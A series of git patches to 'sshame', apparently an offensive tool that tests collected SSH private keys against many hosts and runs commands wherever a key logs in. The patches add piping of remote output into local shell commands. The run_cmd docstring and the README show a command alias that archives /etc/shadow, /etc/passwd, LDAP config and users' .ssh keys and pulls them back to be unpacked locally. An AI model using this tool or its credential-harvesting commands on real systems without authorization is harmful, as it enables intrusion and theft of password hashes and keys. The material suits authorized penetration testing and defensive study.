From f241485bec0f9f007aa6a16ad79a54b844f22279 Mon Sep 17 00:00:00 2001 From: Hynek Petrak Date: Sun, 8 Sep 2019 18:49:56 +0200 Subject: [PATCH 1/5] version prepared for dev --- setup.py | 2 +- sshame/main.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/setup.py b/setup.py index 329cb6a..1ca569d 100755 --- a/setup.py +++ b/setup.py @@ -2,7 +2,7 @@ PROJECT = 'sshame' -VERSION = '0.6' +VERSION = '0.7-dev' from setuptools import setup, find_packages diff --git a/sshame/main.py b/sshame/main.py index 9a00962..2860f85 100644 --- a/sshame/main.py +++ b/sshame/main.py @@ -26,7 +26,7 @@ from sqlalchemy import create_engine from sshame.db import Host, Base, Key, Credential, Command, CommandiAlias -version = "0.6" +version = "0.7-dev" try: from colorama import Back @@ -642,6 +642,7 @@ async def schedule_jobs(self, usernames=None, cmds=None): if cmds: targets = self.get_command_targets() for x in targets: + log.debug(f"Adding run_cmd job: {x.username}@{x.host_address}:{x.host_port} run '{truncate(cmd)}' with {len(x.keys)} key(s)") jobs.append(self.run_command_on_single_target(username=x.username, host_address=x.host_address, host_port=x.host_port, keys=x.keys, cmds=cmds)) @@ -652,6 +653,7 @@ async def schedule_jobs(self, usernames=None, cmds=None): keys = self.get_keys_to_test(host, port, username) if not keys: continue + log.debug(f"Adding test_keys job: {username}@{host}:{port} with {len(keys)} key(s)") jobs.append(self.test_keys_on_single_target(host, port, username, keys, cmds)) i += 1 From e3f23f9c3f8a17ac5fa2ecf17ec3f0f02be76b68 Mon Sep 17 00:00:00 2001 From: Hynek Petrak Date: Sun, 8 Sep 2019 19:12:23 +0200 Subject: [PATCH 2/5] added --pipe-to argument --- sshame/db.py | 3 ++- sshame/main.py | 24 +++++++++++++++--------- 2 files changed, 17 insertions(+), 10 deletions(-) diff --git a/sshame/db.py b/sshame/db.py index e3057fa..aef611f 100644 --- a/sshame/db.py +++ b/sshame/db.py @@ -81,10 +81,11 @@ class Command(Base): [Host.address, Host.port]), {}) -class CommandiAlias(Base): +class CommandAlias(Base): __tablename__ = 'command_aliases' alias = Column(Unicode(), primary_key=True) cmd = Column(Unicode()) + pipe_to = Column(Unicode()) enabled = Column(Boolean, default=True) updated = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) diff --git a/sshame/main.py b/sshame/main.py index 2860f85..1c6f0ad 100644 --- a/sshame/main.py +++ b/sshame/main.py @@ -24,7 +24,7 @@ from sqlalchemy.orm import sessionmaker, scoped_session, Query from sqlalchemy.sql import func, select, case, functions from sqlalchemy import create_engine -from sshame.db import Host, Base, Key, Credential, Command, CommandiAlias +from sshame.db import Host, Base, Key, Credential, Command, CommandAlias version = "0.7-dev" @@ -356,6 +356,7 @@ def init_db(self, name='default'): sqls = ["ALTER TABLE commands ADD COLUMN guid VARCHAR;", "ALTER TABLE hosts ADD COLUMN enabled BOOLEAN;", "ALTER TABLE keys ADD COLUMN enabled BOOLEAN;", + "ALTER TABLE command_aliases ADD COLUMN pipe_to VARCHAR;", ] for s in sqls: try: @@ -591,8 +592,8 @@ async def run_command_on_single_target(self, host_address, host_port, username=' async with conn: for cmd in cmds: log.debug(f'[{log_id}] Executing cmd: {cmd}') - cmd_alias = self.db.query(CommandiAlias.cmd).filter( - CommandiAlias.alias == cmd).scalar() + cmd_alias = self.db.query(CommandAlias.cmd).filter( + CommandAlias.alias == cmd).scalar() c = self.db.query(Command).filter(Command.host_address == host_address).filter(Command.host_port == host_port).filter( Command.cmd == cmd).filter(Command.username == username).first() if not c: @@ -719,11 +720,14 @@ def do_run_cmd(self, arg): commands_item_group.add_argument( '-a', '--add', type=str, nargs=2, help='Add command alias') commands_item_group.add_argument( - '-l', '--list', action='store_true', help='List command alias') + '-l', '--list', action='store_true', help='List command aliasses') commands_item_group.add_argument( '-r', '--results', action='store_true', help='Show results') commands_item_group.add_argument( '-s', '--save', type=str, nargs=1, help='Save command output to file') + commands_parser.add_argument( + '-p', '--pipe-to', type=str, nargs='?', help='Pipe command output to a shell command. CWD for shell + command will be set to ip/user/cmd_alias_name/') @cmd2.with_argparser(commands_parser) @cmd2.with_category(CMD_CAT_SSHAME) @@ -732,16 +736,18 @@ def do_commands(self, arg): if arg.add: a = arg.add[0] c = arg.add[1] - ca = self.db.query(CommandiAlias).filter( - CommandiAlias.alias == a).first() + ca = self.db.query(CommandAlias).filter( + CommandAlias.alias == a).first() if not ca: - ca = CommandiAlias(alias=a) + ca = CommandAlias(alias=a) ca.cmd = c + if arg.pipe_to: + ca.pipe_to = arg.pipe_to self.db.add(ca) self.db.commit() if arg.list: - q = self.db.query(CommandiAlias.alias, CommandiAlias.cmd).filter( - CommandiAlias.enabled) + q = self.db.query(CommandAlias.alias, CommandAlias.cmd).filter( + CommandAlias.enabled) self.print_table(q) if arg.results: q = self.db.query(Command.guid, Command.host_address, Command.host_port, Command.username, Command.cmd, From e244a887b288a9c2bb017f9776d9e9de5912bee7 Mon Sep 17 00:00:00 2001 From: Hynek Petrak Date: Mon, 9 Sep 2019 09:49:39 +0200 Subject: [PATCH 3/5] drafted sending remote command output to local shell command; not tested --- sshame/db.py | 8 +++++++- sshame/main.py | 40 +++++++++++++++++++++++++++++++++------- 2 files changed, 40 insertions(+), 8 deletions(-) diff --git a/sshame/db.py b/sshame/db.py index aef611f..751c3a7 100644 --- a/sshame/db.py +++ b/sshame/db.py @@ -64,6 +64,9 @@ def get_uuid(): return str(uuid.uuid4()) class Command(Base): + def get_guid(self): + return f"{self.username}@{self.host_address}:{self.host_port}#{self.cmd}" + __tablename__ = 'commands' #id = Column(Integer, primary_key=True) host_address = Column(Integer, primary_key=True) @@ -73,8 +76,11 @@ class Command(Base): exit_status = Column(Integer) stdout = Column(Unicode()) stderr = Column(Unicode()) + pipe_exit_status = Column(Integer) + pipe_stdout = Column(Unicode()) + pipe_stderr = Column(Unicode()) exception = Column(Unicode()) - guid = Column(String(), default=get_uuid, onupdate=get_uuid) + guid = Column(String(), default=self.get_guid, onupdate=self.get_guid) updated = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) host = relationship("Host", back_populates="commands") __table_args__ = (ForeignKeyConstraint([host_address, host_port], diff --git a/sshame/main.py b/sshame/main.py index 1c6f0ad..b0d8c22 100644 --- a/sshame/main.py +++ b/sshame/main.py @@ -357,6 +357,9 @@ def init_db(self, name='default'): "ALTER TABLE hosts ADD COLUMN enabled BOOLEAN;", "ALTER TABLE keys ADD COLUMN enabled BOOLEAN;", "ALTER TABLE command_aliases ADD COLUMN pipe_to VARCHAR;", + "ALTER TABLE command_aliases ADD COLUMN pipe_stdout VARCHAR;", + "ALTER TABLE command_aliases ADD COLUMN pipe_stderr VARCHAR;", + "ALTER TABLE command_aliases ADD COLUMN pipe_exit_status INTEGER;", ] for s in sqls: try: @@ -481,7 +484,6 @@ class PublicKeySSHClient(asyncssh.SSHClient): def __init__(self, db, keys, host_address, host_port, username): self.log_id = f"{username}@{host_address}:{host_port}" self._keylist = keys - self.consumed = 0 self.keys_to_test = len(keys) self.key_fingerprint = None self.db = db @@ -538,7 +540,7 @@ def public_key_auth_requested(self): log.debug(f'[{self.log_id}] [D] key3 {self.key_fingerprint} for {self.username}@{self.host_address}') return ret - async def test_keys_on_single_target(self, host_address, host_port, username='root', keys=None, cmds=None): + async def test_keys_on_single_target(self, host_address, host_port, username='root', keys): log_id = f"{username}@{host_address}:{host_port}" async with self.sem: _pkssh = self.PublicKeySSHClient( @@ -592,15 +594,15 @@ async def run_command_on_single_target(self, host_address, host_port, username=' async with conn: for cmd in cmds: log.debug(f'[{log_id}] Executing cmd: {cmd}') - cmd_alias = self.db.query(CommandAlias.cmd).filter( - CommandAlias.alias == cmd).scalar() + cmd_alias = self.db.query(CommandAlias.cmd,CommandAlias.pipe_to).filter( + CommandAlias.alias == cmd).first() c = self.db.query(Command).filter(Command.host_address == host_address).filter(Command.host_port == host_port).filter( Command.cmd == cmd).filter(Command.username == username).first() if not c: c = Command( host_address=host_address, host_port=host_port, cmd=cmd, username=username) try: - res = await conn.run(cmd_alias if cmd_alias else cmd, check=False) + res = await conn.run(cmd_alias.cmd if cmd_alias and cmd_alias.cmd else cmd, check=False) cmds_run += 1 # log.debug('done') so = res.stdout @@ -611,8 +613,32 @@ async def run_command_on_single_target(self, host_address, host_port, username=' if es != 0: c.stderr = se else: - c.stdout = so + if cmd_alias and cmd_alias.pipe_to: + cwd=os.getcwd() + #FIXME: escape path? + cmd_cwd=os.path.join(cwd, f"{host_address}_{host_port}", username, cmd_alias[0]) + os.makedirs(cmd_cwd, exist_ok=True) + #TODO: test + proc = await asyncio.create_subprocess_shell( + cmd_alias.pipe_to, + cwd=cmd_cwd, + stdout=asyncio.subprocess.PIPE, + stdin=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE) + + pso, pse = await proc.communicate(input=so) + print(f'[{log_id}] [{cmd!r} exited with {proc.returncode}]') + c.pipe_exit_status = proc.returncode + if pso: + print(f'[{log_id}] [pso]\n{pso.decode()}') + c.pipe_stdout = pso + if pse: + print(f'[{log_id}] [pse]\n{pse.decode()}') + c.pipe_stderr = pse + else: + c.stdout = so c.updated = func.current_timestamp() + c.guid = c.get_guid() except Exception as ex: msg = str(ex) log.warning(f'[{log_id}] "{cmd}" {msg}') @@ -656,7 +682,7 @@ async def schedule_jobs(self, usernames=None, cmds=None): continue log.debug(f"Adding test_keys job: {username}@{host}:{port} with {len(keys)} key(s)") jobs.append(self.test_keys_on_single_target(host, port, - username, keys, cmds)) + username, keys)) i += 1 progbar(i, hosts_cnt) if not jobs: From 760cf140c5a206c0cc1e2260c1b474c02f7cd408 Mon Sep 17 00:00:00 2001 From: Hynek Petrak Date: Mon, 9 Sep 2019 15:43:34 +0200 Subject: [PATCH 4/5] run_cmd can pipe output to a local shell command. --- sshame/db.py | 10 ++--- sshame/main.py | 106 +++++++++++++++++++++++++++++-------------------- 2 files changed, 67 insertions(+), 49 deletions(-) diff --git a/sshame/db.py b/sshame/db.py index 751c3a7..ef34f6f 100644 --- a/sshame/db.py +++ b/sshame/db.py @@ -5,7 +5,7 @@ from sqlalchemy import (Column, ForeignKey, Integer, String, DateTime, Index, Unicode, LargeBinary, Boolean, ForeignKeyConstraint) from sqlalchemy.ext.declarative import declarative_base -from sqlalchemy.orm import relationship +from sqlalchemy.orm import relationship, column_property from sqlalchemy.sql import func from sqlalchemy import create_engine @@ -64,9 +64,6 @@ def get_uuid(): return str(uuid.uuid4()) class Command(Base): - def get_guid(self): - return f"{self.username}@{self.host_address}:{self.host_port}#{self.cmd}" - __tablename__ = 'commands' #id = Column(Integer, primary_key=True) host_address = Column(Integer, primary_key=True) @@ -80,12 +77,11 @@ def get_guid(self): pipe_stdout = Column(Unicode()) pipe_stderr = Column(Unicode()) exception = Column(Unicode()) - guid = Column(String(), default=self.get_guid, onupdate=self.get_guid) + guid = column_property(username+"@"+host_address+":"+host_port+"#"+cmd) updated = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now()) host = relationship("Host", back_populates="commands") __table_args__ = (ForeignKeyConstraint([host_address, host_port], - [Host.address, Host.port]), - {}) + [Host.address, Host.port]), {}) class CommandAlias(Base): __tablename__ = 'command_aliases' diff --git a/sshame/main.py b/sshame/main.py index b0d8c22..d866b72 100644 --- a/sshame/main.py +++ b/sshame/main.py @@ -84,9 +84,11 @@ def file_len(fname): pass return i + 1 + def truncate(data): return (data[:75] + '..') if len(data) > 75 else data + def progbar(curr, total, full_progbar=20): frac = curr / total filled_progbar = round(frac * full_progbar) @@ -357,9 +359,9 @@ def init_db(self, name='default'): "ALTER TABLE hosts ADD COLUMN enabled BOOLEAN;", "ALTER TABLE keys ADD COLUMN enabled BOOLEAN;", "ALTER TABLE command_aliases ADD COLUMN pipe_to VARCHAR;", - "ALTER TABLE command_aliases ADD COLUMN pipe_stdout VARCHAR;", - "ALTER TABLE command_aliases ADD COLUMN pipe_stderr VARCHAR;", - "ALTER TABLE command_aliases ADD COLUMN pipe_exit_status INTEGER;", + "ALTER TABLE commands ADD COLUMN pipe_stdout VARCHAR;", + "ALTER TABLE commands ADD COLUMN pipe_stderr VARCHAR;", + "ALTER TABLE commands ADD COLUMN pipe_exit_status INTEGER;", ] for s in sqls: try: @@ -438,22 +440,27 @@ def get_command_targets(self, host=None, port=None, usernames=None): """Returns keys that can logon to username@host:port""" q = (self.db.query(Key.private_key.label("private_key"), - Credential.host_address.label("host_address"), - Credential.host_port.label("host_port"), - Credential.username.label("username")) + Credential.host_address.label("host_address"), + Credential.host_port.label("host_port"), + Credential.username.label("username")) .outerjoin(Credential, Key.fingerprint == Credential.key_fingerprint) .filter(Credential.valid == True) - .order_by(Credential.host_address, - Credential.host_port, Credential.username) ) if host: - q.filter(Credential.host_address == host) + q = q.filter(Credential.host_address == host) if port: - q.filter(Credential.host_port == port) + q = q.filter(Credential.host_port == port) if usernames: - q.filter(Credential.username.in_(usernames)) + q = q.filter(Credential.username.in_(usernames)) + + q = q.order_by(Credential.host_address, + Credential.host_port, Credential.username) - Target = namedtuple("Target", ["username", "host_address", "host_port", "keys"]) + # print(q.statement.compile()) + # print(q.statement.compile().params) + + Target = namedtuple( + "Target", ["username", "host_address", "host_port", "keys"]) ret = [] for key, group in groupby(q, lambda x: (x.username, x.host_address, x.host_port)): @@ -540,7 +547,7 @@ def public_key_auth_requested(self): log.debug(f'[{self.log_id}] [D] key3 {self.key_fingerprint} for {self.username}@{self.host_address}') return ret - async def test_keys_on_single_target(self, host_address, host_port, username='root', keys): + async def test_keys_on_single_target(self, host_address, host_port, username, keys): log_id = f"{username}@{host_address}:{host_port}" async with self.sem: _pkssh = self.PublicKeySSHClient( @@ -589,12 +596,12 @@ async def run_command_on_single_target(self, host_address, host_port, username=' try: log.debug(f'[*] [{log_id}] Connecting') conn = await asyncio.wait_for(asyncssh.connect(host_address, port=host_port, username=username, known_hosts=None, - client_keys=keys, x509_trusted_certs=None, client_host_keys=None), timeout=self.timeout) + client_keys=keys, x509_trusted_certs=None, client_host_keys=None), timeout=self.timeout) log.debug(f'[*] [{log_id}] Connection created') async with conn: for cmd in cmds: log.debug(f'[{log_id}] Executing cmd: {cmd}') - cmd_alias = self.db.query(CommandAlias.cmd,CommandAlias.pipe_to).filter( + cmd_alias = self.db.query(CommandAlias.alias, CommandAlias.cmd, CommandAlias.pipe_to).filter( CommandAlias.alias == cmd).first() c = self.db.query(Command).filter(Command.host_address == host_address).filter(Command.host_port == host_port).filter( Command.cmd == cmd).filter(Command.username == username).first() @@ -602,6 +609,13 @@ async def run_command_on_single_target(self, host_address, host_port, username=' c = Command( host_address=host_address, host_port=host_port, cmd=cmd, username=username) try: + c.exception = None + c.stdout = None + c.stderr = None + c.exit_status = None + c.pipe_exit_status = None + c.pipe_stdout = None + c.pipe_stderr = None res = await conn.run(cmd_alias.cmd if cmd_alias and cmd_alias.cmd else cmd, check=False) cmds_run += 1 # log.debug('done') @@ -614,35 +628,36 @@ async def run_command_on_single_target(self, host_address, host_port, username=' c.stderr = se else: if cmd_alias and cmd_alias.pipe_to: - cwd=os.getcwd() - #FIXME: escape path? - cmd_cwd=os.path.join(cwd, f"{host_address}_{host_port}", username, cmd_alias[0]) + cwd = os.getcwd() + # FIXME: escape path? + cmd_cwd = os.path.join(cwd, "output", f"{host_address}_{host_port}", username, cmd_alias.alias) os.makedirs(cmd_cwd, exist_ok=True) - #TODO: test + # TODO: test + log.debug(f'[{log_id}] "{cmd}" running create_subprocess_shell') proc = await asyncio.create_subprocess_shell( - cmd_alias.pipe_to, - cwd=cmd_cwd, - stdout=asyncio.subprocess.PIPE, - stdin=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE) - - pso, pse = await proc.communicate(input=so) - print(f'[{log_id}] [{cmd!r} exited with {proc.returncode}]') + cmd_alias.pipe_to, + cwd=cmd_cwd, + stdout=asyncio.subprocess.PIPE, + stdin=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE) + + log.debug(f'[{log_id}] "{cmd}" running communicate') + pso, pse = await proc.communicate(input=so.encode()) + log.debug(f'[{log_id}] [{cmd!r} exited with {proc.returncode}]') c.pipe_exit_status = proc.returncode if pso: - print(f'[{log_id}] [pso]\n{pso.decode()}') + log.debug(f'[{log_id}] [pso] {pso.decode()}') c.pipe_stdout = pso if pse: - print(f'[{log_id}] [pse]\n{pse.decode()}') + log.debug(f'[{log_id}] [pse] {pse.decode()}') c.pipe_stderr = pse else: c.stdout = so - c.updated = func.current_timestamp() - c.guid = c.get_guid() except Exception as ex: - msg = str(ex) + msg = repr(ex) log.warning(f'[{log_id}] "{cmd}" {msg}') c.exception = msg + c.updated = func.current_timestamp() self.db.add(c) self.db.commit() return cmds_run @@ -669,20 +684,25 @@ async def schedule_jobs(self, usernames=None, cmds=None): if cmds: targets = self.get_command_targets() for x in targets: - log.debug(f"Adding run_cmd job: {x.username}@{x.host_address}:{x.host_port} run '{truncate(cmd)}' with {len(x.keys)} key(s)") + log.debug(f"Adding run_cmd job: {x.username}@{x.host_address}:{x.host_port} run '{truncate(str(cmds))}' with {len(x.keys)} key(s)") jobs.append(self.run_command_on_single_target(username=x.username, - host_address=x.host_address, host_port=x.host_port, - keys=x.keys, cmds=cmds)) + host_address=x.host_address, host_port=x.host_port, + keys=x.keys, cmds=cmds)) else: for (host, port) in self.db.query( Host.address, Host.port).filter(Host.enabled == True): for username in usernames: + vc = self.get_command_targets(host, port, [username]) + if vc: + log.debug(f"Skipping: {username}@{host}:{port} - already have valid credentials") + # host already has a valid credential + continue keys = self.get_keys_to_test(host, port, username) if not keys: continue log.debug(f"Adding test_keys job: {username}@{host}:{port} with {len(keys)} key(s)") jobs.append(self.test_keys_on_single_target(host, port, - username, keys)) + username, keys)) i += 1 progbar(i, hosts_cnt) if not jobs: @@ -737,7 +757,7 @@ def do_test_keys(self, arg): @cmd2.with_category(CMD_CAT_SSHAME) def do_run_cmd(self, arg): '''Run command on targets, where we have a valid credentials. -E.g. run_cmd -c "tar -cf - .ssh /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode file.tar.gz"''' +E.g. run_cmd -c "tar -cf - .ssh /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout"''' asyncio.get_event_loop().run_until_complete( self.schedule_jobs(None, arg.command)) @@ -752,8 +772,8 @@ def do_run_cmd(self, arg): commands_item_group.add_argument( '-s', '--save', type=str, nargs=1, help='Save command output to file') commands_parser.add_argument( - '-p', '--pipe-to', type=str, nargs='?', help='Pipe command output to a shell command. CWD for shell - command will be set to ip/user/cmd_alias_name/') + '-p', '--pipe-to', type=str, nargs='?', help='''Pipe command output to a shell command. CWD for shell + command will be set to ip/user/cmd_alias_name/''') @cmd2.with_argparser(commands_parser) @cmd2.with_category(CMD_CAT_SSHAME) @@ -772,13 +792,15 @@ def do_commands(self, arg): self.db.add(ca) self.db.commit() if arg.list: - q = self.db.query(CommandAlias.alias, CommandAlias.cmd).filter( + q = self.db.query(CommandAlias.alias, CommandAlias.cmd, CommandAlias.pipe_to).filter( CommandAlias.enabled) self.print_table(q) if arg.results: q = self.db.query(Command.guid, Command.host_address, Command.host_port, Command.username, Command.cmd, - Command.exit_status, func.coalesce( - Command.stdout, Command.stderr, Command.exception).label('output'), + Command.exit_status, + ("STDOUT: " + func.substr(Command.stdout, 0, 50) + os.linesep + + "STDERR: " + func.substr(Command.stderr, 0, 50) + os.linesep + + "EXC: " + func.substr(Command.exception, 0, 50)).label('output'), Command.updated) self.print_table(q) if arg.save: From 71a1efa1eb00e092caa08d2c225f223278a9e85f Mon Sep 17 00:00:00 2001 From: Hynek Petrak Date: Mon, 9 Sep 2019 16:25:22 +0200 Subject: [PATCH 5/5] version 0.7 --- README.md | 22 ++++++++++++++++++---- setup.py | 2 +- sshame/main.py | 2 +- 3 files changed, 20 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 5a66fa7..8d82eff 100644 --- a/README.md +++ b/README.md @@ -120,6 +120,22 @@ With `commands -r` diplay the results: | 434f163a-24b5-4775-a3c1-6ea41745b18d | 10.0.0.2 | 22 | root | whoami | 0 | root | 2019-08-25 21:28:23 | | 305e3f5d-bf4d-4024-981a-59b2dddebbcd | 10.0.0.1 | 22 | admin | whoami | 0 | admin | 2019-08-25 21:28:23 | +### Pipe remote commands to a local shell ### + +Define an alias `get_files` for a remote command `tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0` + and pipe it to a local `uudecode -o - |tar xzf -`, with: + + commands -a get_files "tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0" -p "uudecode -o - |tar xzf -" + +`exit 0` is to override tar's exit code in case of missing files. + +Run te defined command with: + + run_cmd -c get_files + +The output you will find in the folder `output/_/username/...` + + ### Session management ### You may want to split wokloads into sessions. Use `session name` to switch between sessions. Default session is @@ -131,8 +147,6 @@ name, e.g. `default.db` (sshame) session test 2019-08-25 23:38:38,283 sshame [I] 'Openning session: sqlite:///test.db' -## Version history ## - -### sshame 0.5 - 2019-08-25 ### +### License ### -Initial release +MIT diff --git a/setup.py b/setup.py index 1ca569d..d4fa68d 100755 --- a/setup.py +++ b/setup.py @@ -2,7 +2,7 @@ PROJECT = 'sshame' -VERSION = '0.7-dev' +VERSION = '0.7' from setuptools import setup, find_packages diff --git a/sshame/main.py b/sshame/main.py index d866b72..43f44e0 100644 --- a/sshame/main.py +++ b/sshame/main.py @@ -26,7 +26,7 @@ from sqlalchemy import create_engine from sshame.db import Host, Base, Key, Credential, Command, CommandAlias -version = "0.7-dev" +version = "0.7" try: from colorama import Back